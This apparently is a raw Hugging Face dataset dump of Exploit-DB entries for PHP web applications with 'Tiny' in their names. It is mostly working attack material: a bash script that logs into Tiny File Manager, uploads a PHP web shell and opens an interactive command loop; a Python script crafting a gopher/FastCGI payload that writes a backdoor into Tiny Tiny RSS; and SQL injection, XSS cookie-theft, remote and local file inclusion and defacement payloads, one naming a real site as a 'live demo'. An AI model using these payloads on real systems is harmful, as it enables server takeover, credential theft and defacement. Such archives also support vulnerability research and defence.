deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8464
Description: Tiny Blogr 1.0.0 rc4 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-17
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******

[+] Application: Tiny Blogr
[+] Version: 1.0.0 rc4
[+] Website: http://tinyblogr.sourceforge.net

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 17 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: class.eport.php

This bug allows a guest to bypass the authentication
system.


*************************************************

[+] Code


- [A] Authenticaion Bypass

Username: admin'#
Password: foo


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-04-17]
Exploit-DB #50828
Description: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2022-03-16
Author: FEBIN MON SAJI

Exploit:
# Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)
# Date: 14/03/2022
# Exploit Author: FEBIN MON SAJI
# Software Link: https://github.com/prasathmani/tinyfilemanager
# Version: Tiny File Manager <= 2.4.6
# Tested on: Ubuntu 20.04
# CVE : CVE-2021-40964
# Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/

#!/bin/bash

check(){

which curl
if  [ $? = 0 ]
then
printf "[✔] Curl found! \n"
else
printf "[❌] Curl not found! \n"
exit
fi

which jq
if  [ $? = 0 ]
then
printf "[✔] jq found! \n"
else
printf "[❌] jq not found! \n"
exit
fi
}
usage(){

printf "
TIny File Manager Authenticated RCE Exploit.

By FEBIN

$0 <URL> <Admin Username> <Password>

Example: $0 http://files.ubuntu.local/index.php admin \"admin@123\"

"
}

log-in(){
URL=$1
admin=$2
pass=$3
cookie=$(curl "$URL" -X POST -s -d "fm_usr=$admin&fm_pwd=$pass" -i | grep "Set-Cookie: " | sed s/"Set-Cookie: "//g | tr -d " " | tr ";" "\n" | head -1)

if [ $cookie ]
then
printf "\n[+]  Login Success! Cookie: $cookie \n"
else
printf "\n[-] Logn Failed! \n"
fi

URL=${URL}
}

find_webroot(){


webroot=$(curl -X POST "$URL?p=&upload" -d "type=upload&uploadurl=http://vyvyuytcuytcuycuytuy/&ajax=true" -H "Cookie: $cookie" -s | jq | grep file | tr -d '"' | tr -d "," | tr -d " " | sed s/"file:"//g | tr "/" "\n" | head --lines=-1 | tr "\n" "/" )


if [ $webroot ]
then
printf "\n[*] Try to Leak Web root directory path \n\n"
printf "[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : $webroot \n\n" 
else
printf "[-] Can't find WEBROOT! Using default /var/www/html \n"
webroot="/var/www/html"
fi
}

upload(){

#webroot="/var/www/tiny/"
shell="shell$RANDOM.php"
echo "<?php system(\$_REQUEST['cmd']); ?>" > /tmp/$shell



curl $URL?p= -X POST -s -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0" -b $cookie -F "p=" -F "fullpath=../../../../../../../..${webroot}/${shell}" -F "file=@/tmp/$shell" | grep "successful"


}

exploit(){

WEB_URL=$(printf "$URL" | tr "/" "\n" | head --lines=-1 | tr "\n" "/")

upload


if [ $? = 0 ]
then
printf "[+] File Upload Successful! \n"
else
printf "[-] File Upload Unsuccessful! Exiting! \n"
exit 1
fi


printf "[+] Checking for the shell \n"


curl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep "found" >/dev/null
if [ $? = 0 ]
then
printf "[+] Shell found ${WEB_URL}/$shell \n"
else 
printf "[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \n"
exit 2
fi

printf "[+] Getting shell access! \n\n"

while true
do
printf "$> "
read cmd
curl  ${WEB_URL}/$shell -s -X POST -d "cmd=${cmd}"
done
}

if [ $1 ] && [ $2 ] && [ $3 ]
then
check
log-in $1 $2 $3

find_webroot


exploit
else
usage
fi
Exploit-DB #31614
Description: Tiny Portal 1.0 - 'shouts' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-04
Author: Y433r

Exploit:
source: https://www.securityfocus.com/bid/28630/info

Tiny Portal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Tiny Portal 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?PHPSESSID=d0de2085c36edc6b8a5db1e7e8538e3b&action=tpmod;sa=shoutbox;shouts=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3
Exploit-DB #39448
Description: Tiny Tiny RSS - Blind SQL Injection
Type: webapps
Platform: php
Date: 2016-02-15
Author: Kacper Szurek

Exploit:
# Exploit Title: Tiny Tiny RSS Blind SQL Injection
# Date: 15-02-2016
# Software Link: http://tt-rss.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
$item_id inside process_category_order() is not properly escaped.

We control this value using $_POST['payload'].

http://security.szurek.pl/tiny-tiny-rss-blind-sql-injection.html

2. Proof of Concept

Login as regular user.

<form method="post" action="http://tiny-tiny-rss/backend.php">
    <input type="hidden" name="op" value="pref-feeds">
    <input type="hidden" name="method" value="savefeedorder">
    <textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}&lt;/textarea&gt;
    <input type="submit" value="Hack!">
</form>

3. Solution:
   
Update to version a5556c2471973e292dce615fe0c77fdbbc54405b
Exploit-DB #49606
Description: Tiny Tiny RSS - Remote Code Execution
Type: webapps
Platform: php
Date: 2021-03-02
Author: Daniel Neagaru

Exploit:
# Exploit Title: Tiny Tiny RSS - Remote Code Execution
# Date: 21/09/2020
# Exploit Author: Daniel Neagaru & Benjamin Nadarević
# Blog post: https://www.digeex.de/blog/tinytinyrss/
# Software Link: https://git.tt-rss.org/fox/tt-rss
# Version: all before 2020-09-16
# Commit with the fixes: https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef
# Tested on: default docker installation method
# CVE : CVE-2020-25787

#!/usr/bin/env python3

from sys import argv
import urllib.parse as ul
import base64


def CustomFcgi( filename, output, backdoor):
    length=len(output)+len(backdoor)+64
    char=chr(length)

    data = "\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e" + chr(len(str(length)))
    data += "CONTENT_LENGTH" + str(length) +  "\x0e\x04REQUEST_METHODPOST\tKPHP_VALUEallow_url_include = On\n"
    data += "disable_functions = \nauto_prepend_file = php://input\x0f" + chr(len(filename)) +"SCRIPT_FILENAME" + filename + "\r\x01DOCUMENT_ROOT/"

    temp1 = chr(len(data) // 256)
    temp2 = chr(len(data) % 256)
    temp3 = chr(len(data) % 8)

    end = str("\x00"*(len(data)%8)) + "\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + char + "\x04\x00"
    end += "<?php file_put_contents('" + output + "',base64_decode("+ "'"+str(backdoor.decode('ascii'))+"')"+");die('executed');?>\x00\x00\x00\x00"
    start = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" + temp1 + temp2 + temp3 + "\x00"

    payload = start + data + end
    def get_payload(payload):
        finalpayload = ul.quote_plus(payload, encoding="latin-1").replace("+","%20").replace("%2F","/")
        return finalpayload

    return "gopher://localhost:9000/_"+get_payload(get_payload(payload))



TTRSS_PATH = "/var/www/html/tt-rss/"
BACKDOOR_CODE = """
<?php
echo "success\n";
echo system($_GET['cmd']);
?>
"""


feed_file = open("malicious_RCE_feed.xml",'w')
filename = TTRSS_PATH + "config.php"
output = TTRSS_PATH + "backdoor.php"

backdoor_code = base64.b64encode(BACKDOOR_CODE.encode("ascii"))
rce = "public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=" + CustomFcgi(filename, output, backdoor_code) + "&text"

feed ="""<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">

<channel>
  <title>Exploit demo - rce</title>
  <link></link>
  <description>You are getting infected :(</description>
  <item>
    <title> Check if there is backdoor.php</title>
    <link><![CDATA[backdoor.php?cmd=id&bypass_filter=://]]></link>
    <description>
    <![CDATA[
        Dummy text

        <img src="{}">

    ]]>
</description>
  </item>
</channel>
</rss>
""".format(rce)

feed_file.write(feed)
feed_file.close()
Exploit-DB #27651
Description: Tiny Web Gallery 1.4 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-15
Author: Qex

Exploit:
source: https://www.securityfocus.com/bid/17536/info

Tiny Web Gallery is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 1.4 and prior are vulnerable.

http://www.example.com/[PATH]/index.php?twg_album=&#039;><script>alert(document.cookie)</script>
Exploit-DB #28372
Description: Tiny Web Gallery 1.5 - 'Image' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-10
Author: x0r0n

Exploit:
source: https://www.securityfocus.com/bid/19462/info

Tiny Web Gallery is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/examples/image.php?image=http://evil_scripts http://www.example.com/[path]/examples/examples/image.php2?image=http://evil_scripts?
Exploit-DB #1839
Description: tinyBB 0.3 - Remote File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2006-05-28
Author: nukedx

Exploit:
tinyBB <= 0.3 Multiple Remote Vulnerabilities
Method found by nukedx,
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on tinyBB <= 0.3
Original advisory can be found at: http://www.nukedx.com/?viewdoc=33
http://[victim]/[tBBPath]/footers.php?tinybb_footers=http://yourhost.com/cmd.txt?
http://[victim]/[tBBPath]/footers.php?tinybb_footers=/etc/passwd%00
SQL injection on login.php
http://[victim]/[tBBPath]/login.php?username=heh/**/or/**/isnull(1/0)/*&[CREDENTIAL_REDACTED]
# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28]
Exploit-DB #15961
Description: TinyBB 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2011-01-10
Author: Aodrulez

Exploit:
+-------------------------------+
| TinyBB 1.2 SQLi Vulnerability |
+-------------------------------+



Vulnerable Web-App : TinyBB 1.2
Vulnerability      : SQL Injection.
Author             : Aodrulez.
Email              : f3arm3d3ar@gmail.com
Google-Dork        : "TinyBB 2011 all rights reserved"
Tested on          : Ubuntu 10.04

+---------+
| Exploit |
+---------+

TinyBB Version 1.2 is vulnerable to SQLi.

http://127.0.0.1/index.php?page=profile&id=' or 'a'='a


+-------------------+
| Greetz Fly Out To |
+-------------------+
 

1] Amforked()          : My Mentor.
2] The Blue Genius     : My Boss.
3] www.orchidseven.com
4] www.malcon.org
Exploit-DB #38184
Description: TinyBrowser - 'edit.php' Directory Listing
Type: webapps
Platform: php
Date: 2013-01-09
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/57230/info
    
TinyBrowser is prone to multiple vulnerabilities.
    
An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://www.example.com/js/tiny_mce/plugins/tinybrowser/edit.php?type=
Exploit-DB #38183
Description: TinyBrowser - 'tinybrowser.php' Directory Listing
Type: webapps
Platform: php
Date: 2013-01-09
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/57230/info
   
TinyBrowser is prone to multiple vulnerabilities.
   
An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/js/tiny_mce/plugins/tinybrowser/tinybrowser.php?type=
Exploit-DB #38182
Description: tinybrowser - 'type' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-01-09
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/57230/info
  
TinyBrowser is prone to multiple vulnerabilities.
  
An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/js/tiny_mce/plugins/tinybrowser/tinybrowser.php?type=%22%20style=%22xss:\0065xpression(alert(document.cookie))
Exploit-DB #8667
Description: TinyButStrong 3.4.0 - 'script' Local File Disclosure
Type: webapps
Platform: php
Date: 2009-05-13
Author: ahmadbady

Exploit:
                              (  ' )-.          ,~'`-.
                                       ,~' `  ' ) )       _(   _) )
                                      ( ( .--.===.--.    (  `    ' )
                                       `.%%.      .#`.   `-'`~~=~'
                                       /%%/         \##\
                                      |%%/  local    \##|
                                      |%%|           |##|.,-.
                                      \%%|  file     |##/    )_
                                       \%\           /#/ ( `'  )
                                        \%\ include /#/(  ,  -'`-.
                                    ,~-. `%\       /#'(  (     ') )
                                   (  ) )_ `\__|__/'   `~-~=--~~='
                                  ( ` ')  ) [-=-=-]
                                 (_(_.~~~'   \|_|/ 
                                             [***]
                              \|||/
                              (o o) 
-=-=-=-==-=-=-=-=-=-=-=+-oooO--(_)-------+-=-=-=-=-=-=-   
                       |                 |    
                       |                 |                                      

script:TinyButStrong version 3.4.0
-------------------------------------------------
Author: ahmadbady 
email: kivi_hacker666@yahoo.com
my site:Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-====-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.tinybutstrong.com/download/download.php?file=tbs_us.zip&sid=2

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=--=-=--=
vul:/examples/tbs_us_examples_0view.php

<?php
if (!isset($_GET)) $_GET=&$HTTP_GET_VARS ;
show_source('tbs_us_examples_'.$_GET['script']) ;
exit ;
?>

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-
xpl:

path/examples/tbs_us_examples_0view.php?script=../../../../boot.ini

path/examples/tbs_us_examples_0view.php?script=[local_file]
-=-=-=-=-=-=-=-=-=-=-=-+------------Ooo--+-=-=-=-=-=-=-=-=-=-=-=-=-        
                            |__|__|
                             || ||
                             OoO OoO

# milw0rm.com [2009-05-13]
Exploit-DB #6287
Description: TinyCMS 1.1.2 - 'templater.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-08-21
Author: cOndemned

Exploit:
ï»¿########################################################################################
#
#   Name        :   tinyCMS 1.1.2 (templater.php) Local File Inclusion Vulnerability
#   Author      :   cOndemned [ Dark-Coders ]
#   Greetz      :   Avantura, str0ke, ZaBeaTy, doctor, voo|doo, sid.psycho, irk4z
#   Conditions  :   Magic quotes gpc = Off / Register Globals = On
#   Other info  :   Prior versions probably are vulnerable too
#
########################################################################################

Source of /modules/ZZ_Templater/templater.php

    [ ... ]
    
    17.     $ftemplatedir = 'templates/'.$config['template'].'/';
    18.     include('templates/'.$config['template'].'/data.php');      // <--- LFI
    19.     if($tdata['useblocks'] == 1)
    
    [ ... ]
    

Proof of Concept :

    http://[host]/[tinyCMS]/modules/ZZ_Templater/templater.php?config[template]=../../../../etc/passwd%00
    http://[host]/[tinyCMS]/modules/ZZ_Templater/templater.php?config[template]=../../../../[local_file]%00
    

Jusf 4 fun    

# milw0rm.com [2008-08-21]
Exploit-DB #37342
Description: TinyCMS 1.3 - '/admin/admin.php?do' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2012-06-03
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/53761/info
  
TinyCMS is prone to multiple local file-include vulnerabilities and an arbitrary-file-upload vulnerability.
  
An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, and obtain sensitive information.
  
TinyCMS 1.3 is vulnerable; other versions may also be affected. 

<form action='http://www.example.com/admin/admin.php?view=admin&do=../../../../[ LFI ]%00' method='post'>
<input type='submit' value='Get/Include Local File'>
</form>
Exploit-DB #37341
Description: TinyCMS 1.3 - 'index.php?page' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2012-06-03
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/53761/info
 
TinyCMS is prone to multiple local file-include vulnerabilities and an arbitrary-file-upload vulnerability.
 
An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, and obtain sensitive information.
 
TinyCMS 1.3 is vulnerable; other versions may also be affected. 


<form action='http://www.example.com/index.php?page=../../../../../[ LFI ]%00' method='post'>
<input type='submit' value='Get/Include Local File'>
</form>
Exploit-DB #37340
Description: TinyCMS 1.3 - Arbitrary File Upload / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-06-03
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/53761/info

TinyCMS is prone to multiple local file-include vulnerabilities and an arbitrary-file-upload vulnerability.

An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, and obtain sensitive information.

TinyCMS 1.3 is vulnerable; other versions may also be affected. 

<form action='http://www.example.com/inc/functions.php?view=admin&do=pages&create=new&save=1' method='post'>
<strong>Page Title :</strong>
<input type="text" name="title" size="50" value='Happy Milw0rm 1337day !'>
<textarea id="elm1" name="page">
<center>
<h1> HaCked By KedAns-Dz </h1>
<h2> Happy Milw0rm 1337-Day All Hax0rS ^.^ </h2>
<h3> Greetings t0 KeyStr0ke + JF and All 0ld School ( The Milw0rm ) </h3>
</center>
&lt;/textarea&gt;
<input type='submit' value='Upload Page'>
</form>
Exploit-DB #7506
Description: TinyMCE 2.0.1 - 'menuID' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-17
Author: AnGeL25dZ

Exploit:
# removed from the frontend, the product affected isn't TinyMCE.
# if you know which CMS this is please contact me 
# /str0ke





************************************************************
** 		 TinyMCE Remote SQL Injection
************************************************************
**  Prodcut:		TinyMCE  Version 2.0.1
**  Home   : 		http://tinymce.moxiecode.com
**  Vunlerability :		2/ SQL Injection
**  Risk  :			high !!
**  Dork : 		N/A
************************************************************
** Discovred by:	AnGeL25dZ
** From	       :	Constantine - Algeria
** Contact     : 	angel25dz@gmail.com	
** *********************************************************
** Greetz to :	 ALLAH
**		 All Members of HackTeachTeam	http://www.hackteach.org/
** 		 Ra3ch, His0k4
************************************************************
**  Remote SQL Injection vulnerability
**
** Exploit :index.php?menuID=-1 union select 0,Group_CONCAT(loginnaam,CHAR(32,58,32),wachtwoord),2,3 from adminusers
**
** Use : http://[path]/Exploit
** Admin : http://[path]/cms/login.php
****************************************************************
** Live demo : http://www.uitgeverijginkgo.nl/index.php?menuID=-1 union select 0,Group_CONCAT(loginnaam,CHAR(32,58,32),wachtwoord),2,3 from adminusers
**
****************************************************************

# milw0rm.com [2008-12-17]
Exploit-DB #15194
Description: TinyMCE MCFileManager 2.1.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-10-03
Author: Hackeri-AL

Exploit:
==============================================
File Upload Vulnerability [ Plugins tiny_mce ]
==============================================

http://tinymce.moxiecode.com/plugins_filemanager.php

####################################################################
       
       Author             : Hackeri-AL                               
       Contact            : h-al [at] hotmail [dot] it                         
       Greetz       : LoocK3D & b4cKd00r ~ & GHoST61 & BaDBoy
       My Group         : UAH-Crew = United Albania Hackers

####################################################################

[~] DORK: inurl:/tiny_mce/plugins/filemanager/

--------------------------------------------------------------------

[~] You go to      : htpp://web.com/tiny_mce/plugins/filemanager/
[~] Redirect to    : htpp://web.com/tiny_mce/plugins/filemanager/examples.html <[ upload here shell or index.html ]
[~] Shell or index : htpp://web.com/tiny_mce/plugins/filemanager/files/shell.php or index.html

####################################################################

[~] Proud 2 be Albania
[~] Proud 2 be Muslim
[~] United States of Albania

####################################################################
Exploit-DB #38099
Description: TinyMCPUK - 'test' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-01
Author: eidelweiss

Exploit:
source: https://www.securityfocus.com/bid/56767/info

TinyMCPUK is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TinyMCPUK 0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/filemanager/connectors/php/connector.php?test=&lt;h1&gt;p0c&lt;/h1&gt;&amp;xss=&lt;script&gt;alert(document.cookie)&lt;/script&gt;